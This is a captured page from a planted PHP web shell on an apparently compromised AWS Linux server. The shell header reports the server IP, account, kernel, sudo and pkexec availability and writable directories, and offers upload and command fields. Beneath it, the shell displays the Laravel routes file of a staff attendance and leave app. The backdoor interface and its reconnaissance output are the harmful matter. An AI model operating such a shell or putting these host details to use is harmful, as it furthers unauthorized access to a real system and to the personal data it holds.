Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/ats.isankalpa.org/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/ats.isankalpa.org/routes/web.php
<?php
use App\Http\Controllers\LocationController;
use App\Http\Controllers\AttendenceController;
use App\Http\Controllers\ApkController;
use App\Http\Controllers\LeaveController;
use App\Http\Controllers\LeaveSummaryController;
use App\Http\Controllers\CronController;
use App\Http\Controllers\ConfigurationController;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/



Route::get('/','Auth\LoginController@showLoginForm');

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');


Route::get('users/profile/{id}', 'UsersController@profile')->name('edit_profile.user');
Route::post('users/profile/{id}', 'UsersController@profile')->name('update_profile.user');
//cron for force logout
Route::group(['prefix' => 'cron'], function(){
	Route::get('app-force-logout', [CronController::class, 'app_force_logout'])->name('app.force.logout');
	Route::get('leave-master', [CronController::class, 'leave_master'])->name('leave.master');
});

Route::get('/downloadApp',[ApkController::class,'downloadAPK'])->name('apk.downloadApp');

Route::group(['middleware'=> ['check_user_access']], function(){

	Route::group(['prefix'=>'users'],function(){
		Route::get('/', 'UsersController@index')->name('users');
		Route::any('/show_list/{page?}/{per_page?}/{order_by?}/{order_name?}', 'UsersController@show_list')->name('list.users');
		Route::get('/add', 'UsersController@add')->name('add.user');
		Route::post('/add', 'UsersController@add')->name('stote.user');
		Route::get('/edit/{id}', 'UsersController@edit')->name('edit.user');
		Route::post('/edit/{id}', 'UsersController@edit')->name('update.user');
		Route::post('/delete/{id}', 'UsersController@delete')->name('delete.user');
		Route::post('/status/{id}', 'UsersController@status')->name('status.user');
	});

	Route::group(['prefix'=>'user_settings'],function(){
		Route::get('/', 'User_settingsController@index')->name('user_settings');
		Route::get('/show_list/{page?}/{per_page?}/{order_by?}/{order_name?}', 'User_settingsController@show_list')->name('list.user_settings');
		Route::get('/add', 'User_settingsController@add')->name('add.user_settings');
		Route::post('/add', 'User_settingsController@add')->name('stote.user_settings');
		Route::get('/edit/{id}', 'User_settingsController@edit')->name('edit.user_settings');
		Route::post('/edit/{id}', 'User_settingsController@edit')->name('update.user_settings');
		Route::post('/delete/{id}', 'User_settingsController@delete')->name('delete.user_settings');
		Route::post('/status/{id}', 'User_settingsController@status')->name('status.user_settings');
		Route::get('/access_control/{id}', 'User_settingsController@access_control')->name('access.user_settings');
		Route::post('/access_control/{id}', 'User_settingsController@access_control')->name('update_access.user_settings');
	});

	

	
		//Location routes
		//Route::get('/locations', [LocationController::class, 'index'])->name('locations.index');
		Route::any('/locations', [LocationController::class, 'index'])->name('locations.index');
		Route::get('/locations/add', [LocationController::class, 'create'])->name('locations.add');
		Route::post('/locations/store', [LocationController::class, 'store'])->name('locations.store');
		Route::get('/locations/edit/{location}', [LocationController::class, 'edit'])->name('locations.edit');
		Route::post('/locations/edit/{location}', [LocationController::class, 'update'])->name('locations.update');
		Route::post('/locations/status/{location}', [LocationController::class, 'updateStatus'])->name('locations.updateStatus');


		//Attendence routes
		
		//Route::get('/attendence-reports', [AttendenceController::class, 'index'])->name('attendence.index');
		Route::any('/attendence-reports', [AttendenceController::class, 'index'])->name('attendence.index');
		Route::post('/attendence-export', [AttendenceController::class, 'export'])->name('attendence.export');

		//Apk upload page
		Route::any('/apk', [ApkController::class, 'index'])->name('apk.index');
		Route::get('/apk/add', [ApkController::class, 'create'])->name('apk.add');
    	Route::post('/apk', [ApkController::class, 'save'])->name('apk.save');
    	Route::post('/apk/status/{id}', [ApkController::class, 'updateStatus'])->name('apk.updateStatus');
		

		//Leave routes
		//Route::get('/leaves', [LeaveController::class, 'index'])->name('leaves.index');	
		Route::any('/leaves', [LeaveController::class, 'get_leaves'])->name('leaves.index');
		Route::get('/leaves/add/search', [LeaveController::class, 'searchUsers'])->name('leaves.add.search');
		Route::post('/leaves/users/details', [LeaveController::class, 'searchUsersdetails'])->name('leaves.users.details');
		Route::get('/leaves/add', [LeaveController::class, 'create'])->name('leaves.add');
		Route::post('/leaves/store', [LeaveController::class, 'store'])->name('leaves.store');
		Route::post('/leaves-export', [LeaveController::class, 'export'])->name('leaves.export');
		Route::post('/leaves/getleavedaystypes', [LeaveController::class,'getleavedaystypes'])->name('leaves.getleavedaystypes');

		Route::any('/leaves/request', [LeaveController::class, 'leave_request'])->name('leaves.request');
		Route::post('/leaves/updatestatus', [LeaveController::class, 'leave_update_status'])->name('leaves.updatestatus');
		Route::post('/leaves/request-export', [LeaveController::class, 'leave_request_export'])->name('leaves.requestexport');

		//Route::get('/leavessummary-reports', [LeaveSummaryController::class, 'get_leaves_summary'])->name('leavessummary.index');
		Route::any('/leavessummary-reports', [LeaveSummaryController::class, 'get_leaves_summary'])->name('leavessummary.index');
		Route::post('/leavessummary-export', [LeaveSummaryController::class, 'get_leaves_summary_export'])->name('leavessummary.export');

		Route::get('/configurations/edit/{id}', [ConfigurationController::class, 'edit_configuration'])->name('configurations.edit');
		Route::post('/configurations/edit/{id}', [ConfigurationController::class, 'update_configuration'])->name('configurations.update');
});


Youez - 2016 - github.com/yon3zu
LinuXploit